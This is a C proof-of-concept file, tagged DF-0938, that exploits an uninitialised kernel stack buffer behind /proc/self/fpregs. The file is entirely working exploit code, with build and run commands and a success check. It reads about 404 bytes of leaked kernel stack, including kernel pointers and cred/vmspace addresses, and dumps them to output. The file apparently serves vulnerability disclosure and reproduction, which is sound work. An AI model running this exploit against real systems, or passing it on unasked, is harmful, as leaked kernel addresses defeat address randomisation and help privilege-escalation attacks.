DF-0938 / poc.c
/* * poc.c - DF-0938 PoC: uninitialized kernel stack leak via * /proc/self/fpregs read. * * procfs_dofpregs declares struct fpreg r without zeroing; fill_fpregs * only writes 108 of 512 bytes on cpu_fxsr=true path; uiomove_frombuf * copies all 512 bytes to userspace. ~404 bytes of stale kernel stack * (pointers, return addrs, cred/vmspace pointers) are leaked per read. * * Build: cc -O2 -o poc poc.c * Run: ./poc | hexdump -C | sed -n '7,40p' */ #include <fcntl.h> #include <unistd.h> #include <string.h> #include <stdio.h> int main(void) { unsigned char buf[512]; ssize_t n; int fd = open("/proc/self/fpregs", O_RDONLY); if (fd < 0) { perror("open"); return 1; } /* Poison so we can see what the kernel actually returned vs. what * we pre-filled. */ memset(buf, 0xAA, sizeof(buf)); n = read(fd, buf, sizeof(buf)); if (n < 0) { perror("read"); return 1; } fprintf(stderr, "read %zd bytes\n", n); write(1, buf, n); /* Success criterion: bytes 108..511 contain values other than * 0x00 and 0xAA — those are leaked kernel-stack contents * (kernel-virtual pointers in 0xffff80xxxxxxxxxx, etc.). */ int leaked = 0; for (int i = 108; i < n; i++) { if (buf[i] != 0x00 && buf[i] != 0xAA) { leaked++; } } fprintf(stderr, "%d non-zero non-0xAA bytes in tail [108..%zd) " "(leaked kernel stack)\n", leaked, n); close(fd); return 0; } |